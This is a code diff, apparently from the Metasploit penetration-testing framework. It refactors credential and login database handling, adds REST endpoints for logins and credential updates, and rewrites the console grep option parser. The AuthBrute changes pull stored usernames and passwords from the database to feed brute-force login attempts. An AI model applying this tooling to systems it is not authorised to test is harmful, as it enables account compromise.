@ -78,7 +78,7 @@ module Auxiliary::AuthBrute
|
|||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_ssh_cred
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
|
||||
creds = framework.db.creds(type: 'Metasploit::Credential::SSHKey', workspace: myworkspace.name)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
|
@ -304,18 +304,18 @@ module Auxiliary::AuthBrute
|
|||
end
|
||||
if framework.db.active
|
||||
if datastore['DB_ALL_CREDS']
|
||||
myworkspace.creds.each do |o|
|
||||
credentials << [o.user, o.pass] if o.ptype =~ /password/
|
||||
framework.db.creds(workspace: myworkspace.name).each do |o|
|
||||
credentials << [o.public.username, o.private.data] if o.private && o.private.type =~ /password/i
|
||||
end
|
||||
end
|
||||
if datastore['DB_ALL_USERS']
|
||||
myworkspace.creds.each do |o|
|
||||
users << o.user
|
||||
framework.db.creds(workspace: myworkspace.name).creds.each do |o|
|
||||
users << o.public.username if o.public
|
||||
end
|
||||
end
|
||||
if datastore['DB_ALL_PASS']
|
||||
myworkspace.creds.each do |o|
|
||||
passwords << o.pass if o.ptype =~ /password/
|
||||
framework.db.creds(workspace: myworkspace.name).creds.each do |o|
|
||||
passwords << o.private.data if o.private && o.private.type =~ /password/i
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -33,43 +33,6 @@ module Auxiliary::Cisco
|
|||
clear
|
||||
end
|
||||
|
||||
def create_credential_and_login(opts={})
|
||||
return nil unless active_db?
|
||||
|
||||
if self.respond_to?(:[]) and self[:task]
|
||||
opts[:task_id] ||= self[:task].record.id
|
||||
end
|
||||
|
||||
core = opts.fetch(:core, create_credential(opts))
|
||||
access_level = opts.fetch(:access_level, nil)
|
||||
last_attempted_at = opts.fetch(:last_attempted_at, nil)
|
||||
status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED)
|
||||
|
||||
login_object = nil
|
||||
retry_transaction do
|
||||
service_object = create_credential_service(opts)
|
||||
login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize
|
||||
|
||||
if opts[:task_id]
|
||||
login_object.tasks << Mdm::Task.find(opts[:task_id])
|
||||
end
|
||||
|
||||
login_object.access_level = access_level if access_level
|
||||
login_object.last_attempted_at = last_attempted_at if last_attempted_at
|
||||
if status == Metasploit::Model::Login::Status::UNTRIED
|
||||
if login_object.last_attempted_at.nil?
|
||||
login_object.status = status
|
||||
end
|
||||
else
|
||||
login_object.status = status
|
||||
end
|
||||
login_object.save!
|
||||
end
|
||||
|
||||
login_object
|
||||
end
|
||||
|
||||
|
||||
def cisco_ios_config_eater(thost, tport, config)
|
||||
|
||||
credential_data = {
|
||||
|
|
|
@ -9,43 +9,6 @@ module Msf
|
|||
module Auxiliary::Juniper
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def create_credential_and_login(opts={})
|
||||
return nil unless active_db?
|
||||
|
||||
if self.respond_to?(:[]) and self[:task]
|
||||
opts[:task_id] ||= self[:task].record.id
|
||||
end
|
||||
|
||||
core = opts.fetch(:core, create_credential(opts))
|
||||
access_level = opts.fetch(:access_level, nil)
|
||||
last_attempted_at = opts.fetch(:last_attempted_at, nil)
|
||||
status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED)
|
||||
|
||||
login_object = nil
|
||||
retry_transaction do
|
||||
service_object = create_credential_service(opts)
|
||||
login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize
|
||||
|
||||
if opts[:task_id]
|
||||
login_object.tasks << Mdm::Task.find(opts[:task_id])
|
||||
end
|
||||
|
||||
login_object.access_level = access_level if access_level
|
||||
login_object.last_attempted_at = last_attempted_at if last_attempted_at
|
||||
if status == Metasploit::Model::Login::Status::UNTRIED
|
||||
if login_object.last_attempted_at.nil?
|
||||
login_object.status = status
|
||||
end
|
||||
else
|
||||
login_object.status = status
|
||||
end
|
||||
login_object.save!
|
||||
end
|
||||
|
||||
login_object
|
||||
end
|
||||
|
||||
|
||||
def juniper_screenos_config_eater(thost, tport, config)
|
||||
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
|
||||
# It is similar to cisco, however it doesn't always put all fields we care
|
||||
|
|
|
@ -23,7 +23,7 @@ module Auxiliary::Report
|
|||
|
||||
def create_cracked_credential(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
framework.db.create_cracked_credential(opts)
|
||||
elsif !db_warning_given?
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
|
@ -32,7 +32,6 @@ module Auxiliary::Report
|
|||
def create_credential(opts={})
|
||||
if active_db?
|
||||
framework.db.create_credential(opts)
|
||||
#super(opts)
|
||||
elsif !db_warning_given?
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
|
@ -40,7 +39,15 @@ module Auxiliary::Report
|
|||
|
||||
def create_credential_login(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
framework.db.create_credential_login(opts)
|
||||
elsif !db_warning_given?
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
end
|
||||
|
||||
def create_credential_and_login(opts={})
|
||||
if active_db?
|
||||
framework.db.create_credential_and_login(opts)
|
||||
elsif !db_warning_given?
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
|
@ -48,7 +55,7 @@ module Auxiliary::Report
|
|||
|
||||
def invalidate_login(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
framework.db.invalidate_login(opts)
|
||||
elsif !db_warning_given?
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
|
|
|
@ -42,6 +42,7 @@ class Msf::DBManager
|
|||
autoload :Import, 'msf/core/db_manager/import'
|
||||
autoload :ImportMsfXml, 'msf/core/db_manager/import_msf_xml'
|
||||
autoload :IPAddress, 'msf/core/db_manager/ip_address'
|
||||
autoload :Login, 'msf/core/db_manager/login'
|
||||
autoload :Loot, 'msf/core/db_manager/loot'
|
||||
autoload :Migration, 'msf/core/db_manager/migration'
|
||||
autoload :ModuleCache, 'msf/core/db_manager/module_cache'
|
||||
|
@ -79,6 +80,7 @@ class Msf::DBManager
|
|||
include Msf::DBManager::HostTag
|
||||
include Msf::DBManager::Import
|
||||
include Msf::DBManager::IPAddress
|
||||
include Msf::DBManager::Login
|
||||
include Msf::DBManager::Loot
|
||||
include Msf::DBManager::Migration
|
||||
include Msf::DBManager::ModuleCache
|
||||
|
|
|
@ -3,15 +3,16 @@ module Msf::DBManager::Cred
|
|||
def creds(opts)
|
||||
query = nil
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
# If we have the ID, there is no point in creating a complex query.
|
||||
if opts[:id] && !opts[:id].empty?
|
||||
return Array.wrap(Metasploit::Credential::Core.find(opts[:id]))
|
||||
# If :id exists we're looking for a specific record, skip the other stuff
|
||||
if opts[:id].present?
|
||||
return Metasploit::Credential::Core.where(id: opts[:id])
|
||||
end
|
||||
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
||||
search_term = opts.delete(:search_term)
|
||||
|
||||
query = Metasploit::Credential::Core.where( workspace_id: wspace.id )
|
||||
query = query.includes(:private, :public, :logins).references(:private, :public, :logins)
|
||||
query = query.includes(:private, :public, :logins, :realm).references(:private, :public, :logins, :realm)
|
||||
query = query.includes(logins: [ :service, { service: :host } ])
|
||||
|
||||
if opts[:type].present?
|
||||
|
@ -41,6 +42,15 @@ module Msf::DBManager::Cred
|
|||
# filter based on host, port, or service name
|
||||
query = query.where(Metasploit::Credential::Login[:id].not_eq(nil))
|
||||
end
|
||||
|
||||
if search_term && !search_term.empty?
|
||||
core_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Core, search_term, ['created_at', 'updated_at'])
|
||||
public_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Public, search_term, ['created_at', 'updated_at'])
|
||||
private_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Private, search_term, ['created_at', 'updated_at'])
|
||||
realm_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Realm, search_term, ['created_at', 'updated_at'])
|
||||
column_search_conditions = core_search_conditions.or(public_search_conditions).or(private_search_conditions).or(realm_search_conditions)
|
||||
query = query.where(column_search_conditions)
|
||||
end
|
||||
}
|
||||
query
|
||||
end
|
||||
|
@ -214,6 +224,67 @@ module Msf::DBManager::Cred
|
|||
}
|
||||
end
|
||||
|
||||
def update_credential(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
# process workspace string for update if included in opts
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
|
||||
opts[:workspace] = wspace if wspace
|
||||
|
||||
if opts[:public]
|
||||
if opts[:public][:id]
|
||||
public_id = opts[:public].delete(:id)
|
||||
public = Metasploit::Credential::Public.find(public_id)
|
||||
public.update_attributes(opts[:public])
|
||||
else
|
||||
public = Metasploit::Credential::Public.where(opts[:public]).first_or_initialize
|
||||
end
|
||||
opts[:public] = public
|
||||
end
|
||||
if opts[:private]
|
||||
if opts[:private][:id]
|
||||
private_id = opts[:private].delete(:id)
|
||||
private = Metasploit::Credential::Private.find(private_id)
|
||||
private.update_attributes(opts[:private])
|
||||
else
|
||||
private = Metasploit::Credential::Private.where(opts[:private]).first_or_initialize
|
||||
end
|
||||
opts[:private] = private
|
||||
end
|
||||
if opts[:origin]
|
||||
if opts[:origin][:id]
|
||||
origin_id = opts[:origin].delete(:id)
|
||||
origin = Metasploit::Credential::Origin.find(origin_id)
|
||||
origin.update_attributes(opts[:origin])
|
||||
else
|
||||
origin = Metasploit::Credential::Origin.where(opts[:origin]).first_or_initialize
|
||||
end
|
||||
opts[:origin] = origin
|
||||
end
|
||||
|
||||
id = opts.delete(:id)
|
||||
Metasploit::Credential::Core.update(id, opts)
|
||||
}
|
||||
end
|
||||
|
||||
def delete_credentials(opts)
|
||||
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
deleted = []
|
||||
opts[:ids].each do |cred_id|
|
||||
cred = Metasploit::Credential::Core.find(cred_id)
|
||||
begin
|
||||
deleted << cred.destroy
|
||||
rescue # refs suck
|
||||
elog("Forcibly deleting #{cred}")
|
||||
deleted << cred.delete
|
||||
end
|
||||
end
|
||||
|
||||
return deleted
|
||||
}
|
||||
end
|
||||
|
||||
alias :report_auth :report_auth_info
|
||||
alias :report_cred :report_auth_info
|
||||
end
|
||||
|
|
|
@ -19,6 +19,7 @@ require 'msf/core/db_manager/http/servlet/exploit_servlet'
|
|||
require 'msf/core/db_manager/http/servlet/loot_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/session_event_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/credential_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/login_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/nmap_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/db_export_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
|
||||
|
@ -43,6 +44,7 @@ class MetasploitApiApp < Sinatra::Base
|
|||
register LootServlet
|
||||
register SessionEventServlet
|
||||
register CredentialServlet
|
||||
register LoginServlet
|
||||
register NmapServlet
|
||||
register DbExportServlet
|
||||
register VulnAttemptServlet
|
||||
|
|
|
@ -5,6 +5,7 @@ load 'documentation/api/v1/db_export_api_doc.rb'
|
|||
load 'documentation/api/v1/event_api_doc.rb'
|
||||
load 'documentation/api/v1/exploit_api_doc.rb'
|
||||
load 'documentation/api/v1/host_api_doc.rb'
|
||||
load 'documentation/api/v1/login_api_doc.rb'
|
||||
load 'documentation/api/v1/loot_api_doc.rb'
|
||||
load 'documentation/api/v1/msf_api_doc.rb'
|
||||
load 'documentation/api/v1/nmap_api_doc.rb'
|
||||
|
@ -46,6 +47,7 @@ module ApiDocsServlet
|
|||
EventApiDoc,
|
||||
ExploitApiDoc,
|
||||
HostApiDoc,
|
||||
LoginApiDoc,
|
||||
LootApiDoc,
|
||||
MsfApiDoc,
|
||||
NmapApiDoc,
|
||||
|
|
|
@ -4,9 +4,15 @@ module CredentialServlet
|
|||
'/api/v1/credentials'
|
||||
end
|
||||
|
||||
def self.api_path_with_id
|
||||
"#{CredentialServlet.api_path}/?:id?"
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get CredentialServlet.api_path, &get_credentials
|
||||
app.post CredentialServlet.api_path, &create_credential
|
||||
app.put CredentialServlet.api_path_with_id, &update_credential
|
||||
app.delete CredentialServlet.api_path, &delete_credentials
|
||||
end
|
||||
|
||||
#######
|
||||
|
@ -17,11 +23,9 @@ module CredentialServlet
|
|||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
opts.merge!(sanitized_params)
|
||||
data = get_db().creds(opts)
|
||||
includes = [:logins, :public, :private, :realm]
|
||||
data = get_db.creds(sanitized_params)
|
||||
|
||||
# Need to append the human attribute into the private sub-object before converting to json
|
||||
# This is normally pulled from a class method from the MetasploitCredential class
|
||||
response = []
|
||||
|
@ -29,7 +33,8 @@ module CredentialServlet
|
|||
json = cred.as_json(include: includes).merge('private_class' => cred.private.class.to_s)
|
||||
response << json
|
||||
end
|
||||
set_json_data_response(response: response)
|
||||
response = format_cred_json(data)
|
||||
set_json_response(response)
|
||||
rescue => e
|
||||
set_json_error_response(error: e, code: 500)
|
||||
end
|
||||
|
@ -40,11 +45,38 @@ module CredentialServlet
|
|||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts|
|
||||
opts[:origin_type] = opts[:origin_type].to_sym
|
||||
opts[:private_type] = opts[:private_type].to_sym
|
||||
get_db().create_credential(opts)
|
||||
opts[:origin_type] = opts[:origin_type].to_sym if opts[:origin_type]
|
||||
opts[:private_type] = opts[:private_type].to_sym if opts[:private_type]
|
||||
get_db.create_credential(opts)
|
||||
}
|
||||
exec_report_job(request, &job)
|
||||
}
|
||||
end
|
||||
|
||||
def self.update_credential
|
||||
lambda {
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
opts[:id] = tmp_params[:id] if tmp_params[:id]
|
||||
data = get_db.update_credential(opts)
|
||||
response = format_cred_json(data)
|
||||
set_json_response(response.first)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.delete_credentials
|
||||
lambda {
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_credentials(opts)
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -0,0 +1,73 @@
|
|||
module LoginServlet
|
||||
|
||||
def self.api_path
|
||||
'/api/v1/logins'
|
||||
end
|
||||
|
||||
def self.api_path_with_id
|
||||
"#{LoginServlet.api_path}/?:id?"
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get LoginServlet.api_path, &get_logins
|
||||
app.post LoginServlet.api_path, &create_login
|
||||
app.put LoginServlet.api_path_with_id, &update_login
|
||||
app.delete LoginServlet.api_path, &delete_logins
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def self.get_logins
|
||||
lambda {
|
||||
begin
|
||||
sanitized_params = sanitize_params(params)
|
||||
response = get_db.logins(sanitized_params)
|
||||
set_json_response(response)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.create_login
|
||||
lambda {
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
opts[:core][:workspace] = get_db.workspaces(id: opts[:workspace_id]).first
|
||||
opts[:core] = get_db.creds(opts[:core]).first
|
||||
response = get_db.create_credential_login(opts)
|
||||
set_json_response(response)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.update_login
|
||||
lambda {
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
opts[:id] = tmp_params[:id] if tmp_params[:id]
|
||||
data = get_db.update_login(opts)
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.delete_logins
|
||||
lambda {
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_logins(opts)
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -81,6 +81,20 @@ module ServletHelper
|
|||
params.symbolize_keys.except(:captures, :splat)
|
||||
end
|
||||
|
||||
def format_cred_json(data)
|
||||
includes = [:logins, :public, :private, :realm, :origin]
|
||||
|
||||
response = []
|
||||
Array.wrap(data).each do |cred|
|
||||
json = cred.as_json(include: includes)
|
||||
json['origin'] = json['origin'].merge('type' => cred.origin.class.to_s) if cred.origin
|
||||
json['public'] = json['public'].merge('type' => cred.public.type) if cred.public
|
||||
json['private'] = json['private'].merge('type' => cred.private.type) if cred.private
|
||||
response << json
|
||||
end
|
||||
response
|
||||
end
|
||||
|
||||
# Get Warden::Proxy object from the Rack environment.
|
||||
# @return [Warden::Proxy] The Warden::Proxy object from the Rack environment.
|
||||
def warden
|
||||
|
@ -93,7 +107,6 @@ module ServletHelper
|
|||
env['warden.options']
|
||||
end
|
||||
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
|
|
@ -452,10 +452,17 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
pass = cred.at('pass').try(:text)
|
||||
pass = "" if pass == "*MASKED*"
|
||||
|
||||
private = create_credential_private(private_data: pass, private_type: :password)
|
||||
public = create_credential_public(username: username)
|
||||
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
|
||||
|
||||
cred_opts = {
|
||||
workspace: wspace.name,
|
||||
username: username,
|
||||
private_data: pass,
|
||||
private_type: 'Metasploit::Credential::Password',
|
||||
service_name: sname,
|
||||
protocol: proto,
|
||||
port: port,
|
||||
origin: origin
|
||||
}
|
||||
core = create_credential(cred_opts)
|
||||
create_credential_login(core: core,
|
||||
workspace_id: wspace.id,
|
||||
address: hobj.address,
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
module Msf::DBManager::Login
|
||||
def logins(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
Metasploit::Credential::Login.where(opts)
|
||||
}
|
||||
end
|
||||
|
||||
def update_login(opts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
|
||||
opts[:workspace] = wspace if wspace
|
||||
id = opts.delete(:id)
|
||||
Metasploit::Credential::Login.update(id, opts)
|
||||
}
|
||||
end
|
||||
|
||||
def delete_logins(opts)
|
||||
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
deleted = []
|
||||
opts[:ids].each do |login_id|
|
||||
login = Metasploit::Credential::Login.find(login_id)
|
||||
begin
|
||||
deleted << login.destroy
|
||||
rescue # refs suck
|
||||
elog("Forcibly deleting #{login}")
|
||||
deleted << login.delete
|
||||
end
|
||||
end
|
||||
|
||||
return deleted
|
||||
}
|
||||
end
|
||||
end
|
|
@ -203,16 +203,6 @@ class Module
|
|||
self.class.file_path
|
||||
end
|
||||
|
||||
#
|
||||
# Checks to see if the target is vulnerable, returning unsupported if it's
|
||||
# not supported.
|
||||
#
|
||||
# This method is designed to be overriden by exploit modules.
|
||||
#
|
||||
def check
|
||||
Msf::Exploit::CheckCode::Unsupported
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the current workspace
|
||||
#
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
module Msf::Module::Auth
|
||||
def store_valid_credential(user:, private:, private_type: :password, proof: nil, service_data: {})
|
||||
if !service_data.empty? && self.respond_to?("service_details")
|
||||
if service_data.empty? && self.respond_to?("service_details")
|
||||
service_data = service_details
|
||||
end
|
||||
|
||||
|
@ -17,14 +17,14 @@ module Msf::Module::Auth
|
|||
origin_type: :import,
|
||||
filename: 'msfconsole' # default as values provided on the console
|
||||
}.merge(creation_data)
|
||||
create_credential(cred_data)
|
||||
framework.db.create_credential(cred_data)
|
||||
else
|
||||
login_data = {
|
||||
proof: proof,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}.merge(creation_data)
|
||||
create_credential_and_login(login_data)
|
||||
framework.db.create_credential_and_login(login_data)
|
||||
end
|
||||
|
||||
nil
|
||||
|
|
|
@ -26,6 +26,7 @@ class Obj
|
|||
attr_reader :mod_time
|
||||
attr_reader :is_install_path
|
||||
attr_reader :ref_name
|
||||
attr_reader :check
|
||||
|
||||
def initialize(module_instance, obj_hash = nil)
|
||||
unless obj_hash.nil?
|
||||
|
@ -49,7 +50,7 @@ class Obj
|
|||
sort_platform_string
|
||||
|
||||
@arch = module_instance.arch_to_s
|
||||
@rport = module_instance.datastore['RPORT'].to_s
|
||||
@rport = module_instance.datastore['RPORT']
|
||||
@path = module_instance.file_path
|
||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||
@ref_name = module_instance.refname
|
||||
|
@ -63,6 +64,9 @@ class Obj
|
|||
@targets = module_instance.targets.map{|x| x.name}
|
||||
end
|
||||
|
||||
# Store whether a module has a check method
|
||||
@check = module_instance.respond_to?(:check) ? true : false
|
||||
|
||||
# Due to potentially non-standard ASCII we force UTF-8 to ensure no problem with JSON serialization
|
||||
force_encoding(Encoding::UTF_8)
|
||||
end
|
||||
|
@ -89,7 +93,8 @@ class Obj
|
|||
'mod_time' => @mod_time.to_s,
|
||||
'path' => @path,
|
||||
'is_install_path' => @is_install_path,
|
||||
'ref_name' => @ref_name
|
||||
'ref_name' => @ref_name,
|
||||
'check' => @check
|
||||
}.to_json(*args)
|
||||
end
|
||||
|
||||
|
@ -135,6 +140,7 @@ class Obj
|
|||
@path = obj_hash['path']
|
||||
@is_install_path = obj_hash['is_install_path']
|
||||
@targets = obj_hash['targets'].nil? ? [] : obj_hash['targets']
|
||||
@check = obj_hash['check'] ? true : false
|
||||
end
|
||||
|
||||
def sort_platform_string
|
||||
|
|
|
@ -88,7 +88,7 @@ module Msf::Modules::Metadata::Search
|
|||
match = [t,w] if module_metadata.targets.any? { |t| t =~ r }
|
||||
end
|
||||
when 'port'
|
||||
match = [t,w] if module_metadata.rport =~ r
|
||||
match = [t,w] if module_metadata.rport.to_s =~ r
|
||||
when 'type'
|
||||
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and module_metadata.type == modt }
|
||||
when 'app'
|
||||
|
|
|
@ -54,8 +54,8 @@ module Payload::Windows::Powershell
|
|||
return "#{cli} \"#{script}\""
|
||||
end
|
||||
|
||||
def generate
|
||||
command_string
|
||||
def command_string
|
||||
powershell_command
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -22,6 +22,8 @@ require 'msf/ui/console/command_dispatcher/modules'
|
|||
require 'msf/ui/console/command_dispatcher/developer'
|
||||
require 'msf/util/document_generator'
|
||||
|
||||
require 'optparse'
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
|
@ -78,18 +80,6 @@ class Core
|
|||
"-w" => [ true, "Specify connect timeout." ],
|
||||
"-z" => [ false, "Just try to connect, then return." ])
|
||||
|
||||
@@grep_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-i" => [ false, "Ignore case." ],
|
||||
"-m" => [ true, "Stop after arg matches." ],
|
||||
"-v" => [ false, "Invert match." ],
|
||||
"-A" => [ true, "Show arg lines of output after a match." ],
|
||||
"-B" => [ true, "Show arg lines of output before a match." ],
|
||||
"-C" => [ true, "Show arg lines of output around a match." ],
|
||||
"-s" => [ true, "Skip arg lines of output before attempting match."],
|
||||
"-k" => [ true, "Keep (include) arg lines at start of output." ],
|
||||
"-c" => [ false, "Only print a count of matching lines." ])
|
||||
|
||||
@@search_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-S" => [ true, "Row search filter." ])
|
||||
|
@ -1952,10 +1942,7 @@ class Core
|
|||
end
|
||||
|
||||
def cmd_grep_help
|
||||
print_line "Usage: grep [options] pattern cmd"
|
||||
print_line
|
||||
print_line "Grep the results of a console command (similar to Linux grep command)"
|
||||
print(@@grep_opts.usage())
|
||||
cmd_grep '-h'
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1967,65 +1954,57 @@ class Core
|
|||
# @return [String,nil] Results matching the regular expression given
|
||||
|
||||
def cmd_grep(*args)
|
||||
return cmd_grep_help if args.length < 2
|
||||
match_mods = {:insensitive => false}
|
||||
output_mods = {:count => false, :invert => false}
|
||||
@@grep_opts.parse(args.dup) do |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
return cmd_grep_help
|
||||
when "-m"
|
||||
# limit to arg matches
|
||||
match_mods[:max] = val.to_i
|
||||
# delete opt and val from args list
|
||||
args.shift(2)
|
||||
when "-A"
|
||||
# also return arg lines after a match
|
||||
output_mods[:after] = val.to_i
|
||||
# delete opt and val from args list
|
||||
args.shift(2)
|
||||
when "-B"
|
||||
# also return arg lines before a match
|
||||
output_mods[:before] = val.to_i
|
||||
# delete opt and val from args list
|
||||
args.shift(2)
|
||||
when "-C"
|
||||
# also return arg lines around a match
|
||||
output_mods[:before] = val.to_i
|
||||
output_mods[:after] = val.to_i
|
||||
# delete opt and val from args list
|
||||
args.shift(2)
|
||||
when "-v"
|
||||
# invert match
|
||||
match_mods[:invert] = true
|
||||
# delete opt from args list
|
||||
args.shift
|
||||
when "-i"
|
||||
# case insensitive
|
||||
match_mods[:insensitive] = true
|
||||
args.shift
|
||||
when "-c"
|
||||
# just count matches
|
||||
output_mods[:count] = true
|
||||
args.shift
|
||||
when "-k"
|
||||
# keep arg number of lines at the top of the output, useful for commands with table headers in output
|
||||
output_mods[:keep] = val.to_i
|
||||
args.shift(2)
|
||||
when "-s"
|
||||
# skip arg number of lines at the top of the output, useful for avoiding undesirable matches
|
||||
output_mods[:skip] = val.to_i
|
||||
args.shift(2)
|
||||
|
||||
opts = OptionParser.new do |opts|
|
||||
opts.banner = "Usage: grep [OPTIONS] [--] PATTERN CMD..."
|
||||
opts.separator "Grep the results of a console command (similar to Linux grep command)"
|
||||
opts.separator ""
|
||||
|
||||
opts.on '-m num', '--max-count num', 'Stop after num matches.', Integer do |max|
|
||||
match_mods[:max] = max
|
||||
end
|
||||
opts.on '-A num', '--after-context num', 'Show num lines of output after a match.', Integer do |num|
|
||||
output_mods[:after] = num
|
||||
end
|
||||
opts.on '-B num', '--before-context num', 'Show num lines of output before a match.', Integer do |num|
|
||||
output_mods[:before] = num
|
||||
end
|
||||
opts.on '-C num', '--context num', 'Show num lines of output around a match.', Integer do |num|
|
||||
output_mods[:before] = output_mods[:after] = num
|
||||
end
|
||||
opts.on '-v', '--[no-]invert-match', 'Invert match.' do |invert|
|
||||
match_mods[:invert] = invert
|
||||
end
|
||||
opts.on '-i', '--[no-]ignore-case', 'Ignore case.' do |insensitive|
|
||||
match_mods[:insensitive] = insensitive
|
||||
end
|
||||
opts.on '-c', '--count', 'Only print a count of matching lines.' do |count|
|
||||
output_mods[:count] = count
|
||||
end
|
||||
opts.on '-k num', '--keep-header num', 'Keep (include) num lines at start of output', Integer do |num|
|
||||
output_mods[:keep] = num
|
||||
end
|
||||
opts.on '-s num', '--skip-header num', 'Skip num lines of output before attempting match.', Integer do |num|
|
||||
output_mods[:skip] = num
|
||||
end
|
||||
opts.on '-h', '--help', 'Help banner.' do
|
||||
return print(opts.help)
|
||||
end
|
||||
|
||||
# Internal use
|
||||
opts.on '--generate-completions str', 'Return possible tab completions for given string.' do |str|
|
||||
return opts.candidate str
|
||||
end
|
||||
end
|
||||
# after deleting parsed options, the only args left should be the pattern, the cmd to run, and cmd args
|
||||
pattern = args.shift
|
||||
if match_mods[:insensitive]
|
||||
rx = Regexp.new(pattern, true)
|
||||
else
|
||||
rx = Regexp.new(pattern)
|
||||
end
|
||||
cmd = args.join(" ")
|
||||
|
||||
# OptionParser#order allows us to take the rest of the line for the command
|
||||
pattern, *cmd = opts.order(args)
|
||||
cmd = cmd.join(" ")
|
||||
return print(opts.help) if !pattern || cmd.empty?
|
||||
|
||||
rx = Regexp.new(pattern, match_mods[:insensitive])
|
||||
|
||||
# get a ref to the current console driver
|
||||
orig_driver = self.driver
|
||||
|
@ -2097,7 +2076,9 @@ class Core
|
|||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_grep_tabs(str, words)
|
||||
tabs = @@grep_opts.fmt.keys || [] # default to use grep's options
|
||||
str = '-' if str.empty? # default to use grep's options
|
||||
tabs = cmd_grep '--generate-completions', str
|
||||
|
||||
# if not an opt, use normal tab comp.
|
||||
# @todo uncomment out next line when tab_completion normalization is complete RM7649 or
|
||||
# replace with new code that permits "nested" tab completion
|
||||
|
|
|
@ -93,7 +93,7 @@ class Creds
|
|||
return unless active?
|
||||
|
||||
# Short-circuit help
|
||||
if args.delete "-h"
|
||||
if args.delete("-h") || args.delete("--help")
|
||||
